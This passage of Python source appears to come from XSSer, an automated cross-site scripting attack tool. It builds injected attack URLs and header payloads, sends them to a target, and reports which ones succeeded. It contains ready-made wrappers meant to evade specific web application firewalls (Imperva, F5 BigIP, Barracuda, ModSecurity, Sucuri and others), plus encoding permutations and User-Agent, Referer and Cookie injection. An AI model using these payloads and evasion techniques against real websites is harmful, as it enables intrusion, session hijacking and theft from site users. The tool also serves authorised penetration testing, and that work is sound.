  586. self.report("="*75 + "\n")
  587. if not self.options.xsser_gtk:
  588. sys.exit(2)
  589. else:
  590. pass
  591. def get_url_payload(self, url, payload, query_string, user_attack_payload):
  592. """
  593. Attack the given url within the given payload
  594. """
  595. options = self.options
  596. self._ongoing_attacks = {}
  597. if (self.options.xsa or self.options.xsr or self.options.coo):
  598. agent, referer, cookie = self._prepare_extra_attacks(payload)
  599. else:
  600. agents = [] # user-agents
  601. try:
  602. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  603. except:
  604. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  605. for line in f:
  606. agents.append(line)
  607. agent = random.choice(agents).strip() # set random user-agent
  608. referer = "127.0.0.1"
  609. cookie = None
  610. if options.agent:
  611. agent = options.agent
  612. else:
  613. self.options.agent = agent
  614. if options.referer:
  615. referer = options.referer
  616. else:
  617. self.options.referer = referer
  618. if options.cookie: # set formatted by user cookies
  619. cookie = options.cookie
  620. else:
  621. self.options.cookie = cookie
  622. # get payload/vector
  623. payload_string = payload['payload'].strip()
  624. ### Anti-antiXSS exploits
  625. # PHPIDS (>0.6.5) [ALL] -> 32*payload + payload
  626. if options.phpids065:
  627. payload_string = 32*payload_string + payload_string
  628. # PHPIDS (>0.7) [ALL] -> payload: 'svg-onload' (23/04/2016)
  629. if options.phpids070:
  630. payload_string = '<svg+onload=+"'+payload_string+'">'
  631. # Imperva Incapsula [ALL] -> payload: 'img onerror' + payload[DoubleURL+HTML+Unicode] 18/02/2016
  632. if options.imperva:
  633. payload_string = '<img src=x onerror="'+payload_string+'">'
  634. # WebKnight (>4.1) [Chrome] payload: 'details ontoggle' 18/02/2016
  635. if options.webknight:
  636. payload_string = '<details ontoggle='+payload_string+'>'
  637. # F5BigIP [Chrome+FF+Opera] payload: 'onwheel' 18/02/2016
  638. if options.f5bigip:
  639. payload_string = '<body style="height:1000px" onwheel="'+payload_string+'">'
  640. # Barracuda WAF [ALL] payload: 'onwheel' 18/02/2016
  641. if options.barracuda:
  642. payload_string = '<body style="height:1000px" onwheel="'+payload_string+'">'
  643. # Apache / modsec [ALL] payload: special 18/02/2016
  644. if options.modsec:
  645. payload_string = '<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover='+payload_string+'>'
  646. # QuickDefense [Chrome] payload: 'ontoggle' + payload[Unicode] 18/02/2016
  647. if options.quickdefense:
  648. payload_string = '<details ontoggle="'+payload_string+'">'
  649. # SucuriWAF [ALL] payload: 'ontoggle' + payload[Unicode] 18/02/2016
  650. if options.sucuri:
  651. payload_string = '<a+id="a"href=javascript%26colon;alert%26lpar;'+payload_string+'%26rpar;+id="a" style=width:100%25;height:100%25;position:fixed;left:0;top:0 x>Y</a>'
  652. # Firefox 12 (and below) # 09/2019
  653. if options.firefox:
  654. payload_string = "<script type ='text/javascript'>"+payload_string+"</script>"
  655. # Chrome 19 (and below, but also Firefox 12 and below) # 09/2019
  656. if options.chrome:
  657. payload_string = "<script>/*///*/"+payload_string+"</script>"
  658. # Internet Explorer 9 (but also Firefox 12 and below) # 09/2019
  659. if options.iexplorer:
  660. payload_string = 'cooki1%3dvalue1;%0d%0aX-XSS-Protection:0%0d%0a%0d%0a<html><body><script>'+payload_string+'</script></body></html>'
  661. # Opera 10.6 (but also IE6) # 09/2019
  662. if options.opera:
  663. payload_string = "<Table background = javascript: alert ("+payload_string+")> </ table>"
  664. # Substitute the attacking hash
  665. if 'PAYLOAD' in payload_string or 'VECTOR' in payload_string:
  666. payload_string = payload_string.replace('PAYLOAD', self.DEFAULT_XSS_PAYLOAD)
  667. payload_string = payload_string.replace('VECTOR', self.DEFAULT_XSS_PAYLOAD)
  668. hashed_payload = payload_string
  669. # Imperva
  670. if options.imperva:
  671. hashed_payload = urllib.parse.urlencode({'':hashed_payload})
  672. hashed_payload = urllib.parse.urlencode({'':hashed_payload}) #DoubleURL encoding
  673. hashed_payload = cgi.escape(hashed_payload) # + HTML encoding
  674. hashed_payload = str(hashed_payload) # + Unicode
  675. # Quick Defense
  676. if options.quickdefense:
  677. hashed_payload = str(hashed_payload) # + Unicode
  678. # apply user final attack url payload
  679. if user_attack_payload:
  680. hashed_vector_url = self.encoding_permutations(user_attack_payload)
  681. else:
  682. hashed_vector_url = self.encoding_permutations(hashed_payload)
  683. # replace special payload string also for extra attacks
  684. if self.extra_hashed_injections:
  685. hashed_payload = hashed_payload.replace('XSS', 'PAYLOAD')
  686. for k, v in self.extra_hashed_injections.items():
  687. if v[1] in hashed_payload:
  688. self.extra_hashed_vector_url[k] = v[0], hashed_payload
  689. self.extra_hashed_injections = self.extra_hashed_vector_url
  690. if not options.getdata: # using GET as a single input (-u)
  691. target_url = url
  692. else:
  693. if not url.endswith("/") and not options.getdata.startswith("/"):
  694. url = url + "/"
  695. target_url = url + options.getdata
  696. if not options.dom:
  697. p_uri = urlparse(target_url, allow_fragments=False) # not fragments keyword '#' allowed
  698. else:
  699. p_uri = urlparse(target_url, allow_fragments=True)
  700. uri = p_uri.netloc
  701. path = p_uri.path
  702. if not uri.endswith('/') and not path.startswith('/'):
  703. uri = uri + "/"
  704. if self.options.target or self.options.crawling: # for audit entire target allows target without 'XSS/X1S' keyword
  705. if not "XSS" in target_url:
  706. if not target_url.endswith("/"):
  707. target_url = target_url + "/XSS"
  708. else:
  709. target_url = target_url + "XSS"
  710. target_params = parse_qs(urlparse(target_url).query, keep_blank_values=True)
  711. if self.options.script:
  712. if not 'XSS' in self.options.script and not self.options.crawling: # 'XSS' keyword used to change PAYLOAD at target_params
  713. self.not_keyword_exit()
  714. if not target_params and not options.postdata:
  715. if not self.options.xsa and not self.options.xsr and not self.options.coo: # extra attacks payloads
  716. if not 'XSS' in target_url and not 'X1S' in target_url and not self.options.crawling: # not any payloader found!
  717. self.not_keyword_exit()
  718. else: # keyword found at target url (ex: https://target.com/XSS)
  719. if 'XSS' in target_url:
  720. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  721. elif 'X1S' in target_url:
  722. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  723. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  724. if "[B64]" in hashed_payload: # [DCP Injection]
  725. dcp_payload = hashed_payload.split("[B64]")[1]
  726. dcp_preload = hashed_payload.split("[B64]")[0]
  727. dcp_payload = b64encode(dcp_payload)
  728. hashed_payload = dcp_preload + dcp_payload
  729. self.hashed_injections[url_orig_hash] = target_url
  730. if user_attack_payload:
  731. pass
  732. else:
  733. hashed_vector_url = self.encoding_permutations(hashed_payload)
  734. target_params[''] = hashed_vector_url # special target_param when XSS only at target_url
  735. target_url_params = urllib.parse.urlencode(target_params)
  736. if not uri.endswith('/') and not path.startswith('/'):
  737. uri = uri + "/"
  738. if path.endswith('/'):
  739. path = path.replace('/',"")
  740. if not options.getdata:
  741. dest_url = url
  742. else:
  743. dest_url = url + options.getdata
  744. if not "XSS" in dest_url:
  745. dest_url = dest_url + hashed_vector_url
  746. else:
  747. if 'XSS' in dest_url:
  748. dest_url = dest_url.replace('XSS', hashed_vector_url)
  749. if 'X1S' in dest_url:
  750. dest_url = dest_url.replace('X1S', hashed_vector_url)
  751. else:
  752. if 'XSS' in target_url:
  753. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  754. elif 'X1S' in target_url:
  755. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  756. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  757. if "[B64]" in hashed_payload: # [DCP Injection]
  758. dcp_payload = hashed_payload.split("[B64]")[1]
  759. dcp_preload = hashed_payload.split("[B64]")[0]
  760. dcp_payload = b64encode(dcp_payload)
  761. hashed_payload = dcp_preload + dcp_payload
  762. self.hashed_injections[url_orig_hash] = target_url
  763. if user_attack_payload:
  764. pass
  765. else:
  766. hashed_vector_url = self.encoding_permutations(hashed_payload)
  767. target_params[''] = hashed_vector_url # special target_param when XSS only at target_url
  768. target_url_params = urllib.parse.urlencode(target_params)
  769. if not uri.endswith('/') and not path.startswith('/'):
  770. uri = uri + "/"
  771. dest_url = p_uri.scheme + "://" + uri + path
  772. if 'XSS' in dest_url:
  773. dest_url = dest_url.replace('XSS', hashed_vector_url)
  774. if 'X1S' in dest_url:
  775. dest_url = dest_url.replace('X1S', hashed_vector_url)
  776. dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  777. else:
  778. if not options.postdata:
  779. r = 0
  780. for key, value in target_params.items(): # parse params searching for keywords
  781. for v in value:
  782. if v == 'XSS' or v == 'X1S': # user input keywords where inject a payload
  783. if v == 'XSS':
  784. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  785. elif v == 'X1S':
  786. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  787. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  788. if "[B64]" in hashed_payload: # [DCP Injection]
  789. dcp_payload = hashed_payload.split("[B64]")[1]
  790. dcp_preload = hashed_payload.split("[B64]")[0]
  791. dcp_payload = b64encode(dcp_payload)
  792. hashed_payload = dcp_preload + dcp_payload
  793. self.hashed_injections[url_orig_hash] = key
  794. if user_attack_payload:
  795. pass
  796. else:
  797. hashed_vector_url = self.encoding_permutations(hashed_payload)
  798. target_params[key] = hashed_vector_url
  799. r = r + 1
  800. else:
  801. if self.options.xsa or self.options.xsr or self.options.coo:
  802. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  803. self.hashed_injections[url_orig_hash] = key
  804. target_params[key] = v
  805. r = r + 1
  806. else:
  807. target_params[key] = v
  808. if r == 0 and not self.options.xsa and not self.options.xsr and not self.options.coo and not self.options.crawling:
  809. self.not_keyword_exit()
  810. payload_url = query_string.strip() + hashed_vector_url
  811. target_url_params = urllib.parse.urlencode(target_params)
  812. dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  813. else: # using POST provided by parameter (-p)
  814. target_params = parse_qs(query_string, keep_blank_values=True)
  815. r = 0
  816. for key, value in target_params.items(): # parse params searching for keywords
  817. for v in value:
  818. if v == 'XSS' or v == 'X1S': # user input keywords where inject a payload
  819. if v == 'XSS':
  820. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  821. elif v == 'X1S':
  822. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  823. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  824. if "[B64]" in hashed_payload: # [DCP Injection]
  825. dcp_payload = hashed_payload.split("[B64]")[1]
  826. dcp_preload = hashed_payload.split("[B64]")[0]
  827. dcp_payload = b64encode(dcp_payload)
  828. hashed_payload = dcp_preload + dcp_payload
  829. self.hashed_injections[url_orig_hash] = key
  830. if user_attack_payload:
  831. pass
  832. else:
  833. hashed_vector_url = self.encoding_permutations(hashed_payload)
  834. target_params[key] = hashed_vector_url
  835. r = r + 1
  836. else:
  837. if self.options.xsa or self.options.xsr or self.options.coo:
  838. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  839. self.hashed_injections[url_orig_hash] = key
  840. target_params[key] = v
  841. r = r + 1
  842. else:
  843. target_params[key] = v
  844. if r == 0 and not self.options.xsa and not self.options.xsr and not self.options.coo and not self.options.crawling:
  845. self.not_keyword_exit()
  846. target_url_params = urllib.parse.urlencode(target_params)
  847. dest_url = target_url_params
  848. self._ongoing_attacks['url'] = url_orig_hash
  849. if payload['browser'] == "[Document Object Model Injection]": # url decoding/unquote DOM payloads to execute url #fragments
  850. dest_url = urllib.parse.unquote(dest_url)
  851. return dest_url, agent, referer, cookie
  852. def attack_url_payload(self, url, payload, query_string):
  853. if not self.pool:
  854. pool = self.mothership.pool
  855. else:
  856. pool = self.pool
  857. c = Curl()
  858. if self.options.headers: # add extra headers
  859. headers = self.options.headers
  860. else:
  861. headers = None
  862. if self.options.getdata or not self.options.postdata:
  863. dest_url, agent, referer, cookie = self.get_url_payload(url, payload, query_string, None)
  864. def _cb(request, result):
  865. self.finish_attack_url_payload(c, request, result, payload,
  866. query_string, url, dest_url)
  867. _error_cb = self.error_attack_url_payload
  868. def _error_cb(request, error):
  869. self.error_attack_url_payload(c, url, request, error)
  870. c.agent = agent
  871. c.referer = referer
  872. c.cookie = cookie
  873. if " " in dest_url: # parse blank spaces
  874. dest_url = dest_url.replace(" ", "+")
  875. pool.addRequest(c.get, [[dest_url, headers]], _cb, _error_cb)
  876. self._ongoing_requests += 1
  877. if self.options.postdata:
  878. dest_url, agent, referer, cookie = self.get_url_payload("", payload, query_string, None)
  879. def _cb(request, result):
  880. self.finish_attack_url_payload(c, request, result, payload,
  881. query_string, url, dest_url)
  882. _error_cb = self.error_attack_url_payload
  883. def _error_cb(request, error):
  884. self.error_attack_url_payload(c, url, request, error)
  885. dest_url = dest_url.strip().replace("/", "", 1)
  886. c.agent = agent
  887. c.referer = referer
  888. c.cookie = cookie
  889. pool.addRequest(c.post, [[url, dest_url, headers]], _cb, _error_cb)
  890. self._ongoing_requests += 1
  891. def error_attack_url_payload(self, c, url, request, error):
  892. self._ongoing_requests -= 1
  893. for reporter in self._reporters:
  894. reporter.mosquito_crashed(url, str(error[0]))
  895. dest_url = request.args[0]
  896. self.report("[Error] Failed attempt (URL Malformed!?): " + url + "\n")
  897. self.urlmalformed = True
  898. if self.urlmalformed == True and self.urlspoll[0] == url:
  899. self.land()
  900. if DEBUG == True:
  901. self.report(str(error[0]))
  902. traceback.print_tb(error[2])
  903. c.close()
  904. del c
  905. return
  906. def finish_attack_url_payload(self, c, request, result, payload,
  907. query_string, url, dest_url):
  908. self.round_complete = self.round_complete + 1
  909. self.report("="*75)
  910. self.report("[*] Test: [ "+str(self.round_complete)+"/"+str(self.rounds)+" ] <-> "+str(self.time))
  911. self.report("="*75)
  912. self.report("\n[+] Target: \n\n [ "+ str(url) + " ]\n")
  913. self._ongoing_requests -= 1
  914. # adding constant head check number flag
  915. if self.options.isalive:
  916. self.flag_isalive_num = int(self.options.isalive)
  917. if not self.options.isalive:
  918. pass
  919. elif self.options.isalive and not self.options.nohead:
  920. self.errors_isalive = self.errors_isalive + 1
  921. if self.errors_isalive > self.options.isalive:
  922. pass
  923. else:
  924. self.report("---------------------")
  925. self.report("Alive Checker for: " + url + " - [", self.errors_isalive, "/", self.options.isalive, "]\n")
  926. if self.next_isalive == True:
  927. hc = Curl()
  928. self.next_isalive = False
  929. try:
  930. urls = hc.do_head_check([url])
  931. except:
  932. print("[Error] Target url: (" + url + ") is unaccesible!" + " [DISCARDED]" + "\n")
  933. self.errors_isalive = 0
  934. return
  935. if str(hc.info()["http-code"]) in ["200", "302", "301", "401"]:
  936. print("HEAD alive check: OK" + "(" + hc.info()["http-code"] + ")\n")
  937. print("- Your target still Alive: " + "(" + url + ")")
  938. print("- If you are receiving continuous 404 errors requests on your injections but your target is alive is because:\n")
  939. print(" - your injections are failing: normal :-)")
  940. print(" - maybe exists some IPS/NIDS/... systems blocking your requests!\n")
  941. else:
  942. if str(hc.info()["http-code"]) == "0":
  943. print("\n[Error] Target url: (" + url + ") is unaccesible!" + " [DISCARDED]" + "\n")
  944. else:
  945. print("HEAD alive check: FAILED" + "(" + hc.info()["http-code"] + ")\n")
  946. print("- Your target " + "(" + url + ")" + " looks that is NOT alive")
  947. print("- If you are receiving continuous 404 errors requests on payloads\n and this HEAD pre-check request is giving you another 404\n maybe is because; target is down, url malformed, something is blocking you...\n- If you haven't more than one target then try to; STOP THIS TEST!!\n")
  948. self.errors_isalive = 0
  949. else:
  950. if str(self.errors_isalive) >= str(self.options.isalive):
  951. self.report("---------------------")
  952. self.report("\nAlive System: XSSer is checking if your target still alive. [Waiting for reply...]\n")
  953. self.next_isalive = True
  954. self.options.isalive = self.flag_isalive_num
  955. else:
  956. if self.options.isalive and self.options.nohead:
  957. self.report("---------------------")
  958. self.report("Alive System DISABLED!: XSSer is using a pre-check HEAD request per target by default to perform better accurance on tests\nIt will check if target is alive before inject all the payloads. try (--no-head) with (--alive <num>) to control this checker limit manually")
  959. self.report("---------------------")
  960. # check results an alternative url, choosing method and parameters, or not
  961. if self.options.altm == None or self.options.altm not in ["GET", "POST", "post"]:
  962. self.options.altm = "GET"
  963. if self.options.altm == "post":
  964. self.options.altm = "POST"
  965. if self.options.alt == None:
  966. pass
  967. else:
  968. self.report("="*45)
  969. self.report("\n[+] Checking Response Options:", "\n")
  970. self.report("[+] Url:", self.options.alt)
  971. self.report("[-] Method:", self.options.altm)
  972. if self.options.ald:
  973. self.report("[-] Parameter(s):", self.options.ald, "\n")
  974. else:
  975. self.report("[-] Parameter(s):", query_string, "\n")
  976. if c.info()["http-code"] in ["200", "302", "301"]:
  977. if self.options.statistics:
  978. self.success_connection = self.success_connection + 1
  979. self._report_attack_success(c, dest_url, payload,
  980. query_string, url)
  981. else:
  982. self._report_attack_failure(c, dest_url, payload,
  983. query_string, url)
  984. # checking response results
  985. if self.options.alt == None:
  986. pass
  987. else:
  988. self.report("="*45)
  989. self.report("\n[+] Checking Response Results:", "\n")
  990. url_orig_hash = self._ongoing_attacks['url']
  991. self.report("Searching using", self.options.altm, "for:", url_orig_hash, "on alternative url\n")
  992. if 'PAYLOAD' in payload['payload']:
  993. user_attack_payload = payload['payload'].replace('PAYLOAD', url_orig_hash)
  994. if 'XSS' in payload['payload']:
  995. user_attack_payload = payload['payload'].replace('XSS', url_orig_hash)
  996. if 'X1S' in payload['payload']:
  997. user_attack_payload = payload['payload'].replace('X1S', url_orig_hash)
  998. if self.options.ald:
  999. query_string = self.options.ald
  1000. if "VECTOR" in self.options.alt:
  1001. dest_url = self.options.alt
  1002. else:
  1003. if not dest_url.endswith("/"):
  1004. dest_url = dest_url + "/"
  1005. if self.options.altm == 'POST':
  1006. dest_url = "" + query_string + user_attack_payload
  1007. dest_url = dest_url.strip().replace("/", "", 1)
  1008. data = c.post(url, dest_url)
  1009. else:
  1010. dest_url = self.options.alt + query_string + user_attack_payload
  1011. c.get(dest_url)
  1012. # perform check response injection
  1013. if c.info()["http-code"] in ["200", "302", "301"]:
  1014. if self.options.statistics:
  1015. self.success_connection = self.success_connection + 1
  1016. self._report_attack_success(c, dest_url, payload,
  1017. query_string, url)
  1018. else:
  1019. self._report_attack_failure(c, dest_url, payload,
  1020. query_string, url)
  1021. c.close()
  1022. del c
  1023. def encoding_permutations(self, enpayload_url):
  1024. """
  1025. perform encoding permutations on the url and query_string.
  1026. """
  1027. options = self.options
  1028. if options.Cem:
  1029. enc_perm = options.Cem.split(",")
  1030. for _enc in enc_perm:
  1031. enpayload_url = self.encmap[_enc](enpayload_url)
  1032. else:
  1033. for enctype in list(self.encmap.keys()):
  1034. if getattr(options, enctype):
  1035. enpayload_url = self.encmap[enctype](enpayload_url)
  1036. return enpayload_url
  1037. def _report_attack_success(self, curl_handle, dest_url, payload,\
  1038. query_string, orig_url):
  1039. """
  1040. report connection success when attacking
  1041. """
  1042. if not orig_url in self.successful_urls:
  1043. self.successful_urls.append(orig_url)
  1044. options = self.options
  1045. current_hashes = [] # to check for ongoing hashes
  1046. if payload['browser'] == "[Heuristic test]":
  1047. for key, value in self.hashed_injections.items():
  1048. if str(key) in dest_url:
  1049. if key not in current_hashes:
  1050. self.final_hashes[key] = value
  1051. current_hashes.append(key)
  1052. elif self.options.hash:
  1053. for key, value in self.hashed_injections.items():
  1054. self.final_hashes[key] = value
  1055. current_hashes.append(key)
  1056. else:
  1057. self.report("-"*45)
  1058. self.report("\n[!] Hashing: \n")
  1059. for key, value in self.hashed_injections.items():
  1060. if str(key) in str(dest_url):
  1061. if key not in current_hashes:
  1062. self.report(" [ " +key+" ] : [" , value + " ]")
  1063. self.final_hashes[key] = value
  1064. current_hashes.append(key)
  1065. else:
  1066. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1067. b64_string = payload["payload"].split("[B64]")
  1068. b64_string = b64_string[1]
  1069. b64_string = b64_string.replace('PAYLOAD', key)
  1070. b64_string = b64encode(b64_string)
  1071. b64_string = urllib.parse.urlencode({'':b64_string})
  1072. if b64_string.startswith("="):
  1073. b64_string = b64_string.replace("=", "")
  1074. if str(b64_string) in str(dest_url):
  1075. if key not in current_hashes:
  1076. self.report(" [ " +key+" ] : [" , value + " ]")
  1077. self.final_hashes[key] = value
  1078. current_hashes.append(key)
  1079. else: # when using encoders (Str, Hex, Dec...)
  1080. if self.options.Str or self.options.Une or self.options.Mix or self.options.Dec or self.options.Hex or self.options.Hes or self.options.Cem:
  1081. if "PAYLOAD" in payload["payload"]:
  1082. payload_string = payload["payload"].replace("PAYLOAD", key)
  1083. elif "VECTOR" in payload["payload"]:
  1084. payload_string = payload["payload"].replace("VECTOR", key)
  1085. elif "XSS" in payload["payload"]:
  1086. payload_string = payload["payload"].replace("XSS", key)
  1087. elif "X1S" in payload["payload"]:
  1088. payload_string = payload["payload"].replace("X1S", key)
  1089. if self.options.Cem:
  1090. enc_perm = options.Cem.split(",")
  1091. for e in enc_perm:
  1092. hashed_payload = self.encoding_permutations(payload_string)
  1093. if e == "Str":
  1094. hashed_payload = hashed_payload.replace(",", "%2C")
  1095. dest_url = dest_url.replace(",", "%2C")
  1096. if e == "Mix":
  1097. hashed_payload=urllib.parse.quote(hashed_payload)
  1098. dest_url = urllib.parse.quote(dest_url)
  1099. if e == "Dec":
  1100. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1101. dest_url = dest_url.replace("&#", "%26%23")
  1102. if e == "Hex":
  1103. hashed_payload = hashed_payload.replace("%", "%25")
  1104. dest_url = dest_url.replace("%", "%25")
  1105. if e == "Hes":
  1106. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1107. hashed_payload = hashed_payload.replace(";", "%3B")
  1108. dest_url = dest_url.replace("&#", "%26%23")
  1109. dest_url = dest_url.replace(";", "%3B")
  1110. else:
  1111. hashed_payload = self.encoding_permutations(payload_string)
  1112. if self.options.Str:
  1113. hashed_payload = hashed_payload.replace(",", "%2C")
  1114. dest_url = dest_url.replace(",", "%2C")
  1115. if self.options.Mix:
  1116. hashed_payload=urllib.parse.quote(hashed_payload)
  1117. dest_url = urllib.parse.quote(dest_url)
  1118. if self.options.Dec:
  1119. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1120. dest_url = dest_url.replace("&#", "%26%23")
  1121. if self.options.Hex:
  1122. hashed_payload = hashed_payload.replace("%", "%25")
  1123. dest_url = dest_url.replace("%", "%25")
  1124. if self.options.Hes:
  1125. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1126. hashed_payload = hashed_payload.replace(";", "%3B")
  1127. dest_url = dest_url.replace("&#", "%26%23")
  1128. dest_url = dest_url.replace(";", "%3B")
  1129. if str(hashed_payload) in str(dest_url):
  1130. if key not in current_hashes:
  1131. self.report(" [ " +key+" ] : [" , value + " ]")
  1132. self.final_hashes[key] = value
  1133. current_hashes.append(key)
  1134. if self.extra_hashed_injections:
  1135. for k, v in self.extra_hashed_injections.items():
  1136. payload_url = str(v[1])
  1137. if payload_url == payload["payload"]:
  1138. if k not in current_hashes:
  1139. self.report(" [ " +k+" ] : [" , v[0] + " ]")
  1140. self.final_hashes[k] = v[0]
  1141. current_hashes.append(k)
  1142. self.report("\n"+"-"*45+"\n")
  1143. if payload['browser'] == "[Heuristic test]":
  1144. self.report("[+] Checking: " + str(payload['payload']).strip('XSS'), "\n")
  1145. else:
  1146. if self.extra_hashed_injections:
  1147. extra_attacks=[]
  1148. if options.xsa:
  1149. extra_attacks.append("XSA")
  1150. if options.xsr:
  1151. extra_attacks.append("XSR")
  1152. if options.coo:
  1153. extra_attacks.append("COO")
  1154. if extra_attacks:
  1155. extra_attacks = "+ "+ str(extra_attacks)
  1156. if options.postdata:
  1157. self.report("[*] Trying: " + extra_attacks + "\n\n" + orig_url.strip(), "(POST:", query_string + ") \n")
  1158. else:
  1159. self.report("[*] Trying: " + extra_attacks + "\n\n" + dest_url.strip()+"\n")
  1160. else:
  1161. if options.postdata:
  1162. self.report("[*] Trying: \n\n" + orig_url.strip(), "(POST:", query_string + ")\n")
  1163. else:
  1164. self.report("[*] Trying: \n\n" + dest_url.strip()+"\n")
  1165. if not self.options.hash and not self.options.script:
  1166. if not "XSS" in dest_url or not "X1S" in dest_url and self.options.xsa or self.options.xsr or self.options.coo:
  1167. pass
  1168. else:
  1169. self.report("-"*45)
  1170. if payload['browser'] == "[Heuristic test]" or payload['browser'] == "[hashed_precheck_system]" or payload['browser'] == "[manual_injection]":
  1171. pass
  1172. else:
  1173. if not "XSS" in dest_url or not "X1S" in dest_url:
  1174. if self.options.xsa or self.options.xsr or self.options.coo:
  1175. pass
  1176. else:
  1177. self.report("-"*45)
  1178. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1179. if not self.options.verbose:
  1180. self.report("-"*45 + "\n")
  1181. else:
  1182. self.report("-"*45)
  1183. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1184. if not self.options.verbose:
  1185. self.report("-"*45 + "\n")
  1186. # statistics injections counters
  1187. if payload['browser']=="[hashed_precheck_system]" or payload['browser']=="[Heuristic test]":
  1188. self.check_positives = self.check_positives + 1
  1189. elif payload['browser']=="[Data Control Protocol Injection]":
  1190. self.dcp_injection = self.dcp_injection + 1
  1191. elif payload['browser']=="[Document Object Model Injection]":
  1192. self.dom_injection = self.dom_injection + 1
  1193. elif payload['browser']=="[Induced Injection]":
  1194. self.httpsr_injection = self.httpsr_injection + 1
  1195. elif payload['browser']=="[manual_injection]":
  1196. self.manual_injection = self.manual_injection + 1
  1197. else:
  1198. self.auto_injection = self.auto_injection +1
  1199. if not self.hashed_injections:
  1200. for k, v in self.extra_hashed_injections.items():
  1201. if k in current_hashes:
  1202. if v[0] == "XSA":
  1203. agent = v[1]
  1204. agent = agent.replace("PAYLOAD", k)
  1205. Curl.agent = agent
  1206. if v[0] == "XSR":
  1207. referer = v[1]
  1208. referer = referer.replace("PAYLOAD", k)
  1209. Curl.referer = referer
  1210. if v[0] == "COO":
  1211. cookie = v[1]
  1212. cookie = cookie.replace("PAYLOAD", k)
  1213. Curl.cookie = cookie
  1214. else:
  1215. for key, value in self.hashed_injections.items():
  1216. for k, v in self.extra_hashed_injections.items():
  1217. payload_url = v[1]
  1218. payload_url = payload_url.replace("PAYLOAD",key)
  1219. payload_url = payload_url.replace(" ", "+") # black magic!
  1220. final_dest_url = str(urllib.parse.unquote(dest_url.strip()))
  1221. if payload_url in final_dest_url:
  1222. if v[0] == "XSA":
  1223. agent = v[1]
  1224. agent = agent.replace("PAYLOAD", k)
  1225. Curl.agent = agent
  1226. if v[0] == "XSR":
  1227. referer = v[1]
  1228. referer = referer.replace("PAYLOAD", k)
  1229. Curl.referer = referer
  1230. if v[0] == "COO":
  1231. cookie = v[1]
  1232. cookie = cookie.replace("PAYLOAD", k)
  1233. Curl.cookie = cookie
  1234. else:
  1235. if k in current_hashes:
  1236. if v[0] == "XSA":
  1237. agent = v[1]
  1238. agent = agent.replace("PAYLOAD", k)
  1239. Curl.agent = agent
  1240. if v[0] == "XSR":
  1241. referer = v[1]
  1242. referer = referer.replace("PAYLOAD", k)
  1243. Curl.referer = referer
  1244. if v[0] == "COO":
  1245. cookie = v[1]
  1246. cookie = cookie.replace("PAYLOAD", k)
  1247. Curl.cookie = cookie
  1248. if options.verbose:
  1249. self.report("-"*45)
  1250. self.report("\n[+] HTTP Headers Verbose:\n")
  1251. self.report(" [Client Request]")
  1252. Curl.print_options()
  1253. self.report(" [Server Reply]\n")
  1254. self.report(curl_handle.info())
  1255. self.report("="*45)
  1256. self.report("[*] Injection(s) Results:")
  1257. self.report("="*45 + "\n")
  1258. if payload['browser']=="[Heuristic test]":
  1259. for key, value in self.final_hashes.items():
  1260. if str(key) in dest_url:
  1261. heuristic_string = key
  1262. heuristic_param = str(payload['payload']).strip('XSS')
  1263. # checking heuristic responses
  1264. if heuristic_string in curl_handle.body():
  1265. # ascii
  1266. if heuristic_param == "\\":
  1267. self.heuris_backslash_found = self.heuris_backslash_found + 1
  1268. # / same as ASCII and Unicode
  1269. elif heuristic_param == "/":
  1270. self.heuris_slash_found = self.heuris_slash_found + 1
  1271. self.heuris_une_slash_found = self.heuris_une_slash_found + 1
  1272. elif heuristic_param == ">":
  1273. self.heuris_mayor_found = self.heuris_mayor_found + 1
  1274. elif heuristic_param == "<":
  1275. self.heuris_minor_found = self.heuris_minor_found + 1
  1276. elif heuristic_param == ";":
  1277. self.heuris_semicolon_found = self.heuris_semicolon_found + 1
  1278. elif heuristic_param == "'":
  1279. self.heuris_colon_found = self.heuris_colon_found + 1
  1280. elif heuristic_param == '"':
  1281. self.heuris_doublecolon_found = self.heuris_doublecolon_found + 1
  1282. elif heuristic_param == "=":
  1283. self.heuris_equal_found = self.heuris_equal_found + 1
  1284. # une
  1285. elif heuristic_param == "%5C":
  1286. self.heuris_une_backslash_found = self.heuris_une_backslash_found + 1
  1287. elif heuristic_param == "%3E":
  1288. self.heuris_une_mayor_found = self.heuris_une_mayor_found + 1
  1289. elif heuristic_param == "%3C":
  1290. self.heuris_une_minor_found = self.heuris_une_minor_found + 1
  1291. elif heuristic_param == "%3B":
  1292. self.heuris_une_semicolon_found = self.heuris_une_semicolon_found + 1
  1293. elif heuristic_param == "%27":
  1294. self.heuris_une_colon_found = self.heuris_une_colon_found + 1
  1295. elif heuristic_param == "%22":
  1296. self.heuris_une_doublecolon_found = self.heuris_une_doublecolon_found + 1
  1297. elif heuristic_param == "%3D":
  1298. self.heuris_une_equal_found = self.heuris_une_equal_found + 1
  1299. # dec
  1300. elif heuristic_param == "&#92":
  1301. self.heuris_dec_backslash_found = self.heuris_dec_backslash_found + 1
  1302. elif heuristic_param == "&#47":
  1303. self.heuris_dec_slash_found = self.heuris_dec_slash_found + 1
